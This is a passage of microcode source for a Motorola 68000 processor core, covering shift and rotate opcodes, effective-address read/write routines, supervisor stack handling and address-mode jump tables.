---0*,CIN=T0 // Update C flag ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy101.100xxx : ASL.W Dx,Dy opcode // ///////////////////////////////////////////// Op_ASLW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP ASLW_jmp ///////////////////////////////////////////// // 1110.yyy101.000xxx : ASL.W #x,Dy opcode // ///////////////////////////////////////////// Op_ASLW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count ASLW_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHW. // Left shift with flag update FLAG *--**,CIN=CLR // Update X, V and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy101.101xxx : LSL.W Dx,Dy opcode // ///////////////////////////////////////////// Op_LSLW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP LSLW_jmp ///////////////////////////////////////////// // 1110.yyy101.101xxx : LSL.W #x,Dy opcode // ///////////////////////////////////////////// Op_LSLW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count LSLW_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHW. // Left shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ////////////////////////////////////////////// // 1110.yyy101.110xxx : ROXL.W Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXLW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP ROXLW_jmp ////////////////////////////////////////////// // 1110.yyy101.010xxx : ROXL.W #x,Dy opcode // ////////////////////////////////////////////// Op_ROXLW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count ROXLW_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times LSHW. // Left shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy101.111xxx : ROL.W Dx,Dy opcode // ///////////////////////////////////////////// Op_ROLW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP ROLW_jmp ///////////////////////////////////////////// // 1110.yyy101.011xxx : ROL.W #x,Dy opcode // ///////////////////////////////////////////// Op_ROLW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count ROLW_jmp: FLAG ---00,CIN=N15 // Clear V and C flags LOOPT // Loop shift count times LSHW. // Left shift with flag update FLAG ---0*,CIN=T15 // Update C flag ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy010.100xxx : ASR.L Dx,Dy opcode // ///////////////////////////////////////////// Op_ASRL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L FLAG ---00,CIN=N15 // Clear V and C flags LDW DL[EA2] // Load shift count JUMP ASRL_jmp ///////////////////////////////////////////// // 1110.yyy010.000xxx : ASR.L #x,Dy opcode // ///////////////////////////////////////////// Op_ASRL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L FLAG ---00,CIN=N15 // Clear V and C flags LDW IMMR // Load shift count ASRL_jmp: LOOPT // Loop shift count times RSHL. // Right shift with flag update FLAG *--0*,CIN=N15 // Update X and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ///////////////////////////////////////////// // 1110.yyy010.101xxx : LSR.L Dx,Dy opcode // ///////////////////////////////////////////// Op_LSRL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP LSRL_jmp ///////////////////////////////////////////// // 1110.yyy010.001xxx : LSR.L #x,Dy opcode // ///////////////////////////////////////////// Op_LSRL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count LSRL_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times RSHL. // Right shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ////////////////////////////////////////////// // 1110.yyy010.110xxx : ROXR.L Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXRL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP ROXRL_jmp ////////////////////////////////////////////// // 1110.yyy010.010xxx : ROXR.L #x,Dy opcode // ////////////////////////////////////////////// Op_ROXRL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count ROXRL_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times RSHL. // Right shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ///////////////////////////////////////////// // 1110.yyy010.111xxx : ROR.L Dx,Dy opcode // ///////////////////////////////////////////// Op_RORL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP RORL_jmp ///////////////////////////////////////////// // 1110.yyy010.011xxx : ROR.L #x,Dy opcode // ///////////////////////////////////////////// Op_RORL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count RORL_jmp: FLAG ---00,CIN=N0 // Clear V and C flags LOOPT // Loop shift count times FLAG ---0*,CIN=T0 // Update C flag RSHL. // Right shift with flag update ENDLOOP JUMP Write_DnL // Store result into Dy.L ///////////////////////////////////////////// // 1110.yyy110.100xxx : ASL.L Dx,Dy opcode // ///////////////////////////////////////////// Op_ASLL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP ASLL_jmp ///////////////////////////////////////////// // 1110.yyy110.000xxx : ASL.L #x,Dy opcode // ///////////////////////////////////////////// Op_ASLL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count ASLL_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHL. // Left shift with flag update FLAG *--**,CIN=CLR // Update X, V and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ///////////////////////////////////////////// // 1110.yyy110.101xxx : LSL.L Dx,Dy opcode // ///////////////////////////////////////////// Op_LSLL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP LSLL_jmp ///////////////////////////////////////////// // 1110.yyy110.001xxx : LSL.L #x,Dy opcode // ///////////////////////////////////////////// Op_LSLL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count LSLL_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHL. // Left shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ////////////////////////////////////////////// // 1110.yyy110.110xxx : ROXL.L Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXLL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW DL[EA2] // Load shift count JUMP ROXLL_jmp ////////////////////////////////////////////// // 1110.yyy110.010xxx : ROXL.L #x,Dy opcode // ////////////////////////////////////////////// Op_ROXLL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L LDW IMMR // Load shift count ROXLL_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times LSHL. // Left shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnL // Store result into Dy.L ///////////////////////////////////////////// // 1110.yyy110.111xxx : ROL.L Dx,Dy opcode // ///////////////////////////////////////////// Op_ROLL_rr: LDW DH[EA1] LDW DL[EA1] // Load Dy.L FLAG ---00,CIN=N15 // Clear V and C flags LDW DL[EA2] // Load shift count JUMP ROLL_jmp ///////////////////////////////////////////// // 1110.yyy110.011xxx : ROL.L #x,Dy opcode // ///////////////////////////////////////////// Op_ROLL_ir: LDW DH[EA1] LDW DL[EA1] // Load Dy.L FLAG ---00,CIN=N15 // Clear V and C flags LDW IMMR // Load shift count ROLL_jmp: LOOPT // Loop shift count times FLAG ---0*,CIN=N15 // Update C flag LSHL. // Left shift with flags update ENDLOOP JUMP Write_DnL // Store result into Dy.L //////////////////////////////////////////// // 1110.000011.xxxxxx : ASR.W <ea> opcode // //////////////////////////////////////////// Op_ASRW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=T15 // Carry in is Bit #15 RSHW. // Right shift with flags update FLAG ***0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////////////// // 1110.001011.xxxxxx : LSR.W <ea> opcode // //////////////////////////////////////////// Op_LSRW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=CLR // Carry in is 0 RSHW. // Right shift with flags update FLAG ***0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W ///////////////////////////////////////////// // 1110.010011.xxxxxx : ROXR.W <ea> opcode // ///////////////////////////////////////////// Op_ROXRW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=X_SR // Carry in is X flag RSHW. // Right shift with flags update FLAG ***0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////////////// // 1110.011011.xxxxxx : ROR.W <ea> opcode // //////////////////////////////////////////// Op_RORW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=T0 // Carry in is Bit #0 RSHW. // Right shift with flags update FLAG -**0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////////////// // 1110.100011.xxxxxx : ASL.W <ea> opcode // //////////////////////////////////////////// Op_ASLW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=CLR // Carry in is 0 LSHW. // Left shift with flags update FLAG *****,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////////////// // 1110.101011.xxxxxx : LSL.W <ea> opcode // //////////////////////////////////////////// Op_LSLW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=CLR // Carry in is 0 LSHW. // Left shift with flags update FLAG ***0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W ///////////////////////////////////////////// // 1110.110011.xxxxxx : ROXL.W <ea> opcode // ///////////////////////////////////////////// Op_ROXLW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=X_SR // Carry in is X flag LSHW. // Left shift with flags update FLAG ***0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////////////// // 1110.111011.xxxxxx : ROL.W <ea> opcode // //////////////////////////////////////////// Op_ROLW_m: CALL EA1_Read_W // Load <ea>.W FLAG -----,CIN=T15 // Carry in is Bit #15 LSHW. // Left shift with flags update FLAG -**0*,CIN=CLR // Update M68k flags JUMP EA1_Update_W // Save <ea>.W //////////////////////////////////// // Effective Address #1 read BYTE // //////////////////////////////////// EA1_Read_B: LDW EA1J // Load jump table index JUMP $0730(T) // Call sub-routine EA1_RB_An: CALL Get_An_EA1 LDB (EA1) RTS EA1_RB_An_Inc: CALL Get_An_EA1 LDB (EA1)+ JUMP Set_An_EA1 EA1_RB_d16_An: CALL Calc_d16_An_EA1 LDB (EA1) RTS EA1_RB_AbsW: CALL Calc_AbsW_EA1 LDB (EA1) RTS EA1_RB_AbsL: CALL Calc_AbsL_EA1 LDB (EA1) RTS EA1_RB_d16_PC: CALL Calc_d16_PC_EA1 LDB (EA1) RTS EA1_RB_d8_PC_Rn: CALL Calc_d8_PC_Rn_EA1 LDB (EA1) RTS //////////////////////////////////// // Effective Address #1 read WORD // //////////////////////////////////// EA1_Read_W: LDW EA1J // Load jump table index JUMP $0740(T) // Call sub-routine EA1_RW_An: CALL Get_An_EA1 LDW (EA1) RTS EA1_RW_An_Inc: CALL Get_An_EA1 LDW (EA1)+ JUMP Set_An_EA1 EA1_RW_d16_An: CALL Calc_d16_An_EA1 LDW (EA1) RTS EA1_RW_AbsW: CALL Calc_AbsW_EA1 LDW (EA1) RTS EA1_RW_AbsL: CALL Calc_AbsL_EA1 LDW (EA1) RTS EA1_RW_d16_PC: CALL Calc_d16_PC_EA1 LDW (EA1) RTS EA1_RW_d8_PC_Rn: CALL Calc_d8_PC_Rn_EA1 LDW (EA1) RTS //////////////////////////////////// // Effective Address #1 read LONG // //////////////////////////////////// EA1_Read_L: LDW EA1J // Load jump table index JUMP $0750(T) // Call sub-routine EA1_RL_Reg: LDW RH[EA1] LDW RL[EA1] RTS // Read Dn.L or An.L EA1_RL_An: CALL Get_An_EA1 JUMP EA1_RL EA1_RL_An_Inc: CALL Get_An_EA1 LDW (EA1)+ // Read high word LDW (EA1)+ // Read low word JUMP Set_An_EA1 EA1_RL_An_Dec: CALL Get_An_EA1 LDW -(EA1) // Read low word LDW -(EA1) // Read high word SWAP JUMP Set_An_EA1 EA1_RL_d16_An: CALL Calc_d16_An_EA1 JUMP EA1_RL EA1_RL_AbsW: CALL Calc_AbsW_EA1 JUMP EA1_RL EA1_RL_AbsL: CALL Calc_AbsL_EA1 JUMP EA1_RL EA1_RL_d16_PC: CALL Calc_d16_PC_EA1 JUMP EA1_RL EA1_RL_d8_PC_Rn: CALL Calc_d8_PC_Rn_EA1 JUMP EA1_RL EA1_RL_to_TMP1: LDW (PC)+ STW TMP1H LDW (PC)+ STW TMP1L CALL EA1_Read_L LDW TMP1L RTS ////////////////////////////////////// // Effective Address #1 calculation // ////////////////////////////////////// EA1_Calc: LDW EA1J // Load jump table index JUMP $0760(T) // Call sub-routine ////////////////////////////////////// // Effective Address #1 update BYTE // ////////////////////////////////////// EA1_Update_B: JUMP EA1_7,EA1_WB_Reg JUMP EA1_4,EA1_UpdB_An STB (EA2) RTS EA1_UpdB_An: STB (EA1)+ RTS // TODO : -(A7) case !!! ////////////////////////////////////// // Effective Address #1 update WORD // ////////////////////////////////////// EA1_Update_W: JUMP EA1_7,EA1_WW_Reg JUMP EA1_4,EA1_UpdW_An STW (EA2) RTS EA1_UpdW_An: STW (EA1) RTS ////////////////////////////////////// // Effective Address #1 update LONG // ////////////////////////////////////// EA1_Update_L: JUMP EA1_7,EA1_WL_Reg JUMP EA1_4,EA1_WL JUMP EA2_WL ///////////////////////////////////// // Effective Address #1 write BYTE // ///////////////////////////////////// EA1_Write_B: LDW EA1J // Load jump table index JUMP $0770(T) // Call sub-routine EA1_WB_An: CALL Get_An_EA1 STB (EA1) RTS EA1_WB_An_Inc: CALL Get_An_EA1 STB (EA1)+ JUMP Set_An_EA1 EA1_WB_d16_An: CALL Calc_d16_An_EA1 STB (EA1) RTS ///////////////////////////////////// // Effective Address #1 write WORD // ///////////////////////////////////// EA1_Write_W: LDW EA1J // Load jump table index JUMP $0780(T) // Call sub-routine EA1_WW_An: CALL Get_An_EA1 STW (EA1) RTS EA1_WW_An_Inc: CALL Get_An_EA1 STW (EA1)+ JUMP Set_An_EA1 EA1_WW_d16_An: CALL Calc_d16_An_EA1 STW (EA1) RTS ///////////////////////////////////// // Effective Address #1 write LONG // ///////////////////////////////////// EA1_Write_L: LDW EA1J // Load jump table index JUMP $0790(T) // Call sub-routine EA1_WL_Reg: STW RH[EA1] STW RL[EA1] RTS // Write Dn.L or An.L EA1_WL_An: CALL Get_An_EA1 JUMP EA1_WL EA1_WL_An_Inc: CALL Get_An_EA1 STW (EA1)+ // Write high word STW (EA1)+ // Write low word JUMP Set_An_EA1 EA1_WL_An_Dec: CALL Get_An_EA1 SWAP STW -(EA1) // Write low word STW -(EA1) // Write high word JUMP Set_An_EA1 /////////////////////////////// // Effective Address #2 read // /////////////////////////////// EA2_RB_An_Inc: CALL Get_An_EA2 LDB (EA2)+ JUMP Set_An_EA2 EA2_RB_An_Dec: CALL Get_An_EA2 LDB -(EA2) JUMP Set_An_EA2 EA2_RW_An_Inc: CALL Get_An_EA2 LDW (EA2)+ JUMP Set_An_EA2 EA2_RW_An_Dec: CALL Get_An_EA2 LDW -(EA2) JUMP Set_An_EA2 ///////////////////////////////////// // Effective Address #2 write BYTE // ///////////////////////////////////// EA2_Write_B: LDW EA2J // Load jump table index JUMP $07A0(T) // Call sub-routine EA2_WB_An: CALL Get_An_EA2 STB (EA2) RTS EA2_WB_An_Inc: CALL Get_An_EA2 STB (EA2)+ JUMP Set_An_EA2 EA2_WB_d16_An: CALL Calc_d16_An_EA2 STB (EA2) RTS ///////////////////////////////////// // Effective Address #2 write WORD // ///////////////////////////////////// EA2_Write_W: LDW EA2J // Load jump table index JUMP $07B0(T) // Call sub-routine EA2_WW_AReg: FLAG -----,CIN=T15 // Carry in is bit #15 (sign) STW AL[EA2] // Write An LSW EXTW // Extend word to long STW AH[EA2] RTS // Write An MSW EA2_WW_An: CALL Get_An_EA2 STW (EA2) RTS EA2_WW_An_Inc: CALL Get_An_EA2 STW (EA2)+ JUMP Set_An_EA2 EA2_WW_d16_An: CALL Calc_d16_An_EA2 STW (EA2) RTS ///////////////////////////////////// // Effective Address #2 write LONG // ///////////////////////////////////// EA2_Write_L: LDW EA2J // Load jump table index JUMP $07C0(T) // Call sub-routine EA2_WL_Reg: STW RH[EA2] STW RL[EA2] RTS // Write Dn.l or An.l EA2_WL_An: CALL Get_An_EA2 JUMP EA2_WL EA2_WL_An_Inc: CALL Get_An_EA2 STW (EA2)+ // Write high word STW (EA2)+ // Write low word JUMP Set_An_EA2 EA2_WL_An_Dec: CALL Get_An_EA2 SWAP STW -(EA2) // Write low word STW -(EA2) // Write high word JUMP Set_An_EA2 /////////////////////// // Utility functions // /////////////////////// AddOffs: LDW IMMR // Read word offset AddVal: FLAG -----,CIN=T15 // Carry in is bit #15 (sign) ADDW. // Add low words SWAP // Swap high/low words EXTW // Extend word offset to long FLAG -----,CIN=C_ADD // Carry in is adder carry ADDCL RTS // Add high words Add_Ext_Rn: LDW RL[EXT] // Read Rn low FLAG -----,CIN=T15 // Carry in is bit #15 (sign) ADDW. // Add low words SWAP // Swap low/high words JUMP EXT_11,LongRn // Long index case : skip the next 2 instructions EXTW FLAG -----,CIN=C_ADD // Carry in is carry out ADDCL RTS // Add high words LongRn: LDW RH[EXT] // Read Rn high FLAG -----,CIN=C_ADD // Carry in is carry out ADDCL RTS // Add high words PC_SR_to_Stack: CALL SP_to_EA2 // A7 -> EA2 LDW PCL STW -(EA2) // PC low -> -(EA2) LDW PCH STW -(EA2) // PC high -> -(EA2) LDW SR STW -(EA2) // SR -> -(EA2) JUMP EA2_to_SP // EA2 -> SP PC_to_Stack: CALL SP_to_EA2 // A7 -> EA2 LDW PCL STW -(EA2) // PC low -> -(EA2) LDW PCH STW -(EA2) // PC high -> -(EA2) EA2_to_SP: LDW EA2H STW A7H // EA2 high -> A7 high LDW EA2L STW A7L RTS // EA2 low -> A7 low SP_to_EA2: LDW A7H STW EA2H // A7 high -> EA2 high LDW A7L STW EA2L RTS // A7 low -> EA2 low A7_to_USP: LDW A7H STW USPH // A7 high -> USP high LDW A7L STW USPL RTS // A7 low -> USP low A7_to_SSP: LDW A7H STW SSPH // A7 high -> SSP high LDW A7L STW SSPL RTS // A7 low -> SSP low Enter_Super: JUMP S_SR,A7_to_SSP // S bit set : update SSP CALL A7_to_USP // S bit clear : update USP SSP_to_A7: LDW SSPH STW A7H // SSP high -> A7 high LDW SSPL STW A7L RTS // SSP low -> A7 low USP_to_A7: LDW USPH STW A7H // USP high -> A7 high LDW USPL STW A7L RTS // USP low -> A7 low Leave_Super: CALL A7_to_SSP // Update SSP JUMPN S_SR,USP_to_A7 // S bit clear : update A7 with USP NOP RTS // S bit set : keep A7 SR_Super: LDW SR // Read SR LIT #$7FFF ANDW // Clear trace bit LIT #$2000 ORW RTS // Set supervisor bit Resume_Exec: STW SR // Initialize SR LDW (VEC)+ // Load PC high word from memory STW PCH // into PC MSW LDW (VEC)+ // Load PC low word from memory STW PCL // into PC LSW LIT #$0060 STW VECL RTS // Allow interrupts, clear address error //////////////////////////////////// // Effective address #1 functions // //////////////////////////////////// Add_Offs_An_EA1: LDW AH[EA1] // Read An high LDW AL[EA1] // Read An low JUMP AddOffs Get_An_EA1: LDW AL[EA1] // Read An low STW EA1L LDW AH[EA1] // Read An high STW EA1H RTS Set_An_EA1: LDW EA1L STW AL[EA1] // Write An low LDW EA1H STW AH[EA1] RTS // Write An high Calc_d16_An_EA1: FTW (PC)+ // Fetch 16-bit displacement CALL Add_Offs_An_EA1 // Add 16-bit displacement to An STW EA1H // Store result in EA1H STW EA1L RTS // Store result in EA1L Calc_d8_An_Rn_EA1: FTE (PC)+ // Fetch 16-bit extension word CALL Add_Offs_An_EA1 // Add 8-bit displacement to An SWAP // Swap low/high words CALL Add_Ext_Rn // Add Rn to An STW EA1H // Store result in EA1H STW EA1L RTS // Store result in EA1L Calc_AbsW_EA1: LDW (PC)+ // Read 16-bit address FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long STW EA1H // Store result in EA1H STW EA1L RTS // Store result in EA1L Calc_AbsL_EA1: LDW (PC)+ // Read MSW of 32-bit address STW EA1H // Store result in EA1H LDW (PC)+ // Read LSW of 32-bit address STW EA1L RTS // Store result in EA1L Calc_d16_PC_EA1: LDW PCH // Load PC high word LDW PCL // Load PC low word FTW (PC)+ // Fetch 16-bit displacement CALL AddOffs // Add displacement to PC STW EA1H // Store result in EA1H STW EA1L RTS // Store result in EA1L Calc_d8_PC_Rn_EA1: LDW PCH // Load PC high word LDW PCL // Load PC low word FTE (PC)+ // Fetch 16-bit extension word CALL AddOffs // Add displacement to PC SWAP // Swap low/high words CALL Add_Ext_Rn // Add Rn to An STW EA1H // Store result in EA1H STW EA1L RTS // Store result in EA1L //////////////////////////////////// // Effective address #2 functions // //////////////////////////////////// Add_Offs_An_EA2: LDW AH[EA2] // Read An high LDW AL[EA2] // Read An low JUMP AddOffs // Add offset to An Get_An_EA2: LDW AL[EA2] // Read An low STW EA2L // Store result in EA2L LDW AH[EA2] // Read An high STW EA2H RTS // Store result in EA2H Set_An_EA2: LDW EA2L // Read address from EA2L STW AL[EA2] // Write An low LDW EA2H // Read address from EA2H STW AH[EA2] RTS // Write An high Calc_AbsW_EA2: LDW (PC)+ // Read 16-bit address FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long STW EA2H // Store result in EA2H STW EA2L RTS // Store result in EA2L Calc_AbsL_EA2: LDW (PC)+ // Read MSW of 32-bit address STW EA2H // Store result in EA2H LDW (PC)+ // Read LSW of 32-bit address STW EA2L RTS // Store result in EA2L Calc_d16_An_EA2: FTW (PC)+ // Fetch 16-bit displacement CALL Add_Offs_An_EA2 // Add 16-bit displacement to An STW EA2H // Store result in EA2H STW EA2L RTS // Store result in EA2L Calc_d8_An_Rn_EA2: FTE (PC)+ // Fetch 16-bit extension word CALL Add_Offs_An_EA2 // Add 8-bit displacement to An SWAP // Swap low/high words CALL Add_Ext_Rn // Add Rn to An STW EA2H // Store result in EA2H STW EA2L RTS // Store result in EA2L Calc_d16_PC_EA2: LDW PCH // Load PC high word LDW PCL // Load PC low word FTW (PC)+ // Fetch 16-bit displacement CALL AddOffs // Add displacement to PC STW EA2H // Store result in EA2H STW EA2L RTS // Store result in EA2L Calc_d8_PC_Rn_EA2: LDW PCH // Load PC high word LDW PCL // Load PC low word FTE (PC)+ // Fetch 16-bit extension word CALL AddOffs // Add displacement to PC SWAP // Swap low/high words CALL Add_Ext_Rn // Add Rn to An STW EA2H // Store result in EA2H STW EA2L RTS // Store result in EA2L ORG $0730 // // $FF30 : EA1 read BYTE // LDB RL[EA1] RTS // Dx JUMP $0000 // Unused JUMP EA1_RB_An // (Ax) JUMP EA1_RB_An_Inc // (Ax)+ JUMP EA1_RB_An_Dec // -(Ax) JUMP EA1_RB_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) LDB (EA1) RTS // Unused JUMP EA1_RB_AbsW // XXXX.w JUMP EA1_RB_AbsL // XXXXXXXX.l JUMP EA1_RB_d16_PC // d16(PC) JUMP EA1_RB_d8_PC_Rn // d8(PC,Rx) LDW (PC)+ RTS // #XX EA1_RB_An_Dec: CALL Get_An_EA1 // Unused LDB -(EA1) // Unused JUMP Set_An_EA1 // Unused // // $FF40 : EA1 read WORD // LDW RL[EA1] RTS // Dx LDW RL[EA1] RTS // Ax JUMP EA1_RW_An // (Ax) JUMP EA1_RW_An_Inc // (Ax)+ JUMP EA1_RW_An_Dec // -(Ax) JUMP EA1_RW_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) LDW (EA1) RTS // Unused JUMP EA1_RW_AbsW // XXXX.w JUMP EA1_RW_AbsL // XXXXXXXX.l JUMP EA1_RW_d16_PC // d16(PC) JUMP EA1_RW_d8_PC_Rn // d8(PC,Rx) LDW (PC)+ RTS // #XXXX EA1_RW_An_Dec: CALL Get_An_EA1 // Unused LDW -(EA1) // Unused JUMP Set_An_EA1 // Unused // // $FF50 : EA1 read LONG // JUMP EA1_RL_Reg // Dx JUMP EA1_RL_Reg // Ax JUMP EA1_RL_An // (Ax) JUMP EA1_RL_An_Inc // (Ax)+ JUMP EA1_RL_An_Dec // -(Ax) JUMP EA1_RL_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) JUMP EA1_RL // Unused JUMP EA1_RL_AbsW // XXXX.w JUMP EA1_RL_AbsL // XXXXXXXX.l JUMP EA1_RL_d16_PC // d16(PC) JUMP EA1_RL_d8_PC_Rn // d8(PC,Rx) LDW (PC)+ // #XXXXXXXX LDW (PC)+ RTS // Unused EA1_RL: LDW (EA1)+ // Unused LDW (EA1) RTS // Unused // // $FF60 : EA1 calculation // JUMP $0000 // Unused JUMP $0000 // Unused JUMP Get_An_EA1 // (Ax) JUMP Get_An_EA1 // (Ax)+ JUMP Get_An_EA1 // -(Ax) JUMP Calc_d16_An_EA1 // d16(Ax) JUMP Calc_d8_An_Rn_EA1 // d8(Ax,Rx) JUMP $0000 // Unused JUMP Calc_AbsW_EA1 // XXXX.w JUMP Calc_AbsL_EA1 // XXXXXXXX.l JUMP Calc_d16_PC_EA1 // d16(PC) JUMP Calc_d8_PC_Rn_EA1 // d8(PC,Rx) JUMP $0000 // Unused JUMP $0000 // Unused JUMP $0000 // Unused JUMP $0000 // Unused // // $FF70 : EA1 write BYTE // EA1_WB_Reg: STB RL[EA1] RTS // Dx JUMP $0000 // Unused JUMP EA1_WB_An // (Ax) JUMP EA1_WB_An_Inc // (Ax)+ JUMP EA1_WB_An_Dec // -(Ax) JUMP EA1_WB_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) STB (EA1) RTS // Unused JUMP EA1_WB_AbsW // XXXX.w CALL Calc_AbsL_EA1 // XXXXXXXX.l STB (EA1) RTS // Unused EA1_WB_AbsW: CALL Calc_AbsW_EA1 // Unused STB (EA1) RTS // Unused EA1_WB_An_Dec: CALL Get_An_EA1 // Unused STB -(EA1) // Unused JUMP Set_An_EA1 // Unused // // $FF80 : EA1 write WORD // EA1_WW_Reg: STW RL[EA1] RTS // Dx JUMP $0000 // Unused JUMP EA1_WW_An // (Ax) JUMP EA1_WW_An_Inc // (Ax)+ JUMP EA1_WW_An_Dec // -(Ax) JUMP EA1_WW_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) STW (EA1) RTS // Unused JUMP EA1_WW_AbsW // XXXX.w CALL Calc_AbsL_EA1 // XXXXXXXX.l STW (EA1) RTS // Unused EA1_WW_AbsW: CALL Calc_AbsW_EA1 // Unused STW (EA1) RTS // Unused EA1_WW_An_Dec: CALL Get_An_EA1 // Unused STW -(EA1) // Unused JUMP Set_An_EA1 // Unused // // $FF90 : EA1 write LONG // JUMP EA1_WL_Reg // Dx JUMP EA1_WL_Reg // Ax JUMP EA1_WL_An // (Ax) JUMP EA1_WL_An_Inc // (Ax)+ JUMP EA1_WL_An_Dec // -(Ax) JUMP EA1_WL_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA1 // d8(Ax,Rx) JUMP EA1_WL // Unused JUMP EA1_WL_AbsW // XXXX.w CALL Calc_AbsL_EA1 // XXXXXXXX.l EA1_WL: STW (EA1)+ // Unused STW (EA1) RTS // Unused EA1_WL_d16_An: CALL Calc_d16_An_EA1 // Unused JUMP EA1_WL // Unused EA1_WL_AbsW: CALL Calc_AbsW_EA1 // Unused JUMP EA1_WL // Unused // // $FFA0 : EA2 write BYTE // STB DL[EA2] RTS // Dx JUMP $0000 // Unused JUMP EA2_WB_An // (Ax) JUMP EA2_WB_An_Inc // (Ax)+ JUMP EA2_WB_An_Dec // -(Ax) JUMP EA2_WB_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA2 // d8(Ax,Rx) STB (EA2) RTS // Unused JUMP EA2_WB_AbsW // XXXX.w CALL Calc_AbsL_EA2 // XXXXXXXX.l STB (EA2) RTS // Unused EA2_WB_AbsW: CALL Calc_AbsW_EA2 // Unused STB (EA2) RTS // Unused EA2_WB_An_Dec: CALL Get_An_EA2 // Unused STB -(EA2) // Unused JUMP Set_An_EA2 // Unused // // $FFB0 : EA2 write WORD // STW RL[EA2] RTS // Dx JUMP EA2_WW_AReg // Ax JUMP EA2_WW_An // (Ax) JUMP EA2_WW_An_Inc // (Ax)+ JUMP EA2_WW_An_Dec // -(Ax) JUMP EA2_WW_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA2 // d8(Ax,Rx) STW (EA2) RTS // Unused JUMP EA2_WW_AbsW // XXXX.w CALL Calc_AbsL_EA2 // XXXXXXXX.l STW (EA2) RTS // Unused EA2_WW_AbsW: CALL Calc_AbsW_EA2 // Unused STW (EA2) RTS // Unused EA2_WW_An_Dec: CALL 